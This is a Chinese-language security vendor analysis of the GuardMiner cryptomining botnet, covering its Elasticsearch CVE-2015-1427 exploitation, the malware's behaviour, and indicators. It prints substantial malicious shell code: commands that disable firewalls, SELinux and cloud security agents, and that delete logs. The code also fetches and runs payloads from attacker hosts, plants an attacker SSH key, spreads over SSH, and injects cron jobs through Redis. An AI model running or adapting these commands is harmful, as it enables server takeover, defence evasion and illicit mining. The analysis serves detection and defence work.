GuardMiner 利用 9 种手法攻击传播 腾讯安全全面拦截

/etc/phpguard /etc/phpupdate /etc/networkmanager

*/30 * * * * sh /etc/newdat.sh */2 * * * * curl -fsSL hxxp://h.epelcdn.com/dd210131/pm.sh

AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17

腾讯安全响应清单

腾讯安全全系列产品支持对GuardMiner挖矿木马攻击传播的各个环节进行检测拦截。

腾讯安全产品针对GuardMiner团伙漏洞攻击武器，可在各个环节进行检测防御，具体响应清单如下：

Elasticsearch是用Java语言开发的，并作为Apache许可条款下的开放源码发布，是一种流行的企业级搜索引擎。Elasticsearch用于云计算中，能够达到实时搜索，稳定，可靠，快速，安装使用方便。

搜索引擎支持使用脚本代码（Groovy）作为表达式进行数据操作，并且加入了沙盒进机制对危险的代码进行拦截，由于沙盒限制的不严格，导致产生远程代码执行漏洞CVE-2015-1427。该漏洞的攻击代码已被公开：hxxps://github.com/t0kx/exploit-CVE-2015-1427/blob/master/exploit.sh

腾讯云防火墙检测到黑客利用CVE-2015-1427漏洞攻击云主机：

利用漏洞执行的恶意命令为：

wget hxxp://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh -P /tmp/sssooo

我们对命令下载执行的脚本init.sh进行分析发现其属于挖矿僵尸网络GuardMiner。

1. init.sh关闭selinux防火墙

setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

2. 清理缓存

sync && echo 3 >/proc/sys/vm/drop_caches

3. 获取crontab目录和SSH公钥认证文件

crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys`

4. 将下载程序curl、wget重命名为cdt、wdt

bbdir="/usr/bin/curl" bbdira="/usr/bin/cdt" ccdir="/usr/bin/wget" ccdira="/usr/bin/wdt" mv /usr/bin/curl /usr/bin/url mv /usr/bin/url /usr/bin/cdt mv /usr/bin/cur /usr/bin/cdt mv /usr/bin/cdl /usr/bin/cdt mv /usr/bin/cd1 /usr/bin/cdt mv /usr/bin/wget /usr/bin/get mv /usr/bin/get /usr/bin/wdt mv /usr/bin/wge /usr/bin/wdt mv /usr/bin/wdl /usr/bin/wdt mv /usr/bin/wd1 /usr/bin/wdt

5. 设置Linux系统能打开的最大文件数量

ulimit -n 65535

6. 删除系统日志文件

rm -rf /var/log/syslog

7. 设置tmp目录无法被删除

chattr -iua /tmp/ chattr -iua /var/tmp/

8. 关闭Linux防火墙，删除过滤规则

ufw disable iptables -F

9. 禁用看门狗程序

echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf

10. 卸载阿里云骑士等云主机安全软件

if ps aux | grep -i '[a]liyun'; then   $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash   $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash   $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash   $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash   pkill aliyun-service   rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service   rm -rf /usr/local/aegis*   systemctl stop aliyun.service   systemctl disable aliyun.service   service bcm-agent stop   yum remove bcm-agent -y   apt-get remove bcm-agent -y elif ps aux | grep -i '[y]unjing'; then   /usr/local/qcloud/stargate/admin/uninstall.sh   /usr/local/qcloud/YunJing/uninst.sh   /usr/local/qcloud/monitor/barad/admin/uninstall.sh Fi  service apparmor stop systemctl disable apparmor service aliyun.service stop systemctl disable aliyun.service ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 % rm -rf /usr/local/aegis

11. 设置系统最大内存分页

echo 128 > /proc/sys/vm/nr_hugepages sysctl -w vm.nr_hugepages=128

12. 设置挖矿木马、Shell脚本、扫描程序、守护程序的下载URL

miner_url="hxxp://176.123.7.127/id210131/phpupdate" miner_url_backup="hxxp://h.epelcdn.com/dd210131/phpupdate" sh_url="hxxp://176.123.7.127/id210131/newdat.sh" sh_url_backup="hxxp://h.epelcdn.com/dd210131/newdat.sh" config_url="hxxp://176.123.7.127/id210131/config.json" config_url_backup="hxxp://h.epelcdn.com/dd210131/config.json" scan_url="hxxp://176.123.7.127/id210131/networkmanager" scan_url_backup="hxxp://h.epelcdn.com/dd210131/networkmanager" watchdog_url="hxxp://176.123.7.127/id210131/phpguard" watchdog_url_backup="hxxp://h.epelcdn.com/dd210131/phpguard"

13. 从比特币的交易记录中动态获取C2地址
（使用的比特币钱包为：1Hf2CKoVDyPj7dNn3vgTeFMgDqVvbVNZQq）

if [ -x "$(command -v curl)" ]; then aa="1Hf2CKoVDyPj7dNn3vgTeFMgDqVvbVNZQq" bb="https://api.blockcypher.com/v1/btc/main/addrs/$aa?limit=2" cc=`curl -v --stderr - $bb |grep value|awk  '{print $2}' |sed 's/[[:punct:]]//g; s/[[:space:]]//n/g'|awk '{printf("%x/n",$0)}'|awk '{print substr($0,3,2)}'|awk '{print strtonum("0x"$0)}'|awk 'NR==2'`"."`curl -v --stderr - $bb |grep value|awk  '{print $2}' |sed 's/[[:punct:]]//g; s/[[:space:]]//n/g'|awk '{printf("%x/n",$0)}'|awk '{print substr($0,1,2)}'|awk '{print strtonum("0x"$0)}'|awk 'NR==2'`"."`curl -v --stderr - $bb |grep value|awk  '{print $2}' |sed 's/[[:punct:]]//g; s/[[:space:]]//n/g'|awk '{printf("%x/n",$0)}'|awk '{print substr($0,3,2)}'|awk '{print strtonum("0x"$0)}'|awk 'NR==1'`"."`curl -v --stderr - $bb |grep value|awk  '{print $2}' |sed 's/[[:punct:]]//g; s/[[:space:]]//n/g'|awk '{printf("%x/n",$0)}'|awk '{print substr($0,1,2)}'|awk '{print strtonum("0x"$0)}'|awk 'NR==1'` fi

1. init.sh首先通过端口、进程名、文件名、钱包、矿池匹配，清除竞品挖矿木马

2. 然后杀死tmp目录下的或者CPU占用超过40%的可疑程序。

3. 清理被用来挖矿的docker容器

docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "monero" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill % docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %

4. 最后使用内置的URL依次下载攻击者控制的挖矿程序phpupdate、守护程序phpguard、攻击程序networkmanager并启动。

phpupdate采用开源挖矿程序XMRig编译：

持久化

1. init.sh通过安装crontab任务持久化。

if [ ! -f "/usr/bin/crontab" ]   then     unlock_cron    echo "*/30 * * * * sh /etc/newdat.sh >/dev/null 2>&1" >> ${crondir}    lock_cron   else    unlock_cron    [[ $cont =~ "newdat.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/newdat.sh >/dev/null 2>&1") | crontab -    lock_cron  fi

2. 通过写入SSH authorized_keys公钥（留置后门）持久化。

chmod 700 /root/.ssh/         echo >> /root/.ssh/authorized_keys         chmod 600 root/.ssh/authorized_keys         echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then   for h in $(grep -oE "/b([0-9]{1,3}/.){3}[0-9]{1,3}/b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o- hxxp://h.epelcdn.com/dd210131/spre.sh | bash >/dev/null 2>&1 &' & done fi

$bbdir -fsSL hxxp://h.epelcdn.com/dd210131/spre.sh | bash $bbdira -fsSL hxxp://h.epelcdn.com/dd210131/spre.sh | bash

echo 'config set dbfilename "backup.db"' > .dat echo 'save' >> .dat echo 'flushall' >> .dat echo 'set backup1 "/n/n/n*/2 * * * * curl -fsSL hxxp://h.epelcdn.com/dd210131/pm.sh | sh/n/n"' >> .dat echo 'set backup2 "/n/n/n*/3 * * * * wget -q -O- hxxp://h.epelcdn.com/dd210131/pm.sh | sh/n/n"' >> .dat echo 'set backup3 "/n/n/n*/4 * * * * cdt -fsSL hxxp://localhost/bd210131/pm.sh | sh/n/n"' >> .dat echo 'set backup4 "/n/n/n*/5 * * * * wdt -q -O- hxxp://localhost/bd210131/pm.sh | sh/n/n"' >> .dat echo 'set backup1 "/n/n/n*/6 * * * * cd1 -fsSL hxxp://h.epelcdn.com/dd210131/pm.sh | sh/n/n"' >> .dat echo 'set backup2 "/n/n/n*/7 * * * * wd1 -q -O- hxxp://h.epelcdn.com/dd210131/pm.sh | sh/n/n"' >> .dat echo 'set backup3 "/n/n/n*/8 * * * * cd1 -fsSL hxxp://localhost/bd210131/pm.sh | sh/n/n"' >> .dat echo 'set backup4 "/n/n/n*/9 * * * * wd1 -q -O- hxxp://localhost/bd210131/pm.sh | sh/n/n"' >> .dat echo 'config set dir "var/spool/cron/"' >> .dat echo 'config set dbfilename "root"' >> .dat echo 'save' >> .dat echo 'config set dir "var/spool/cron/crontabs"' >> .dat echo 'save' >> .dat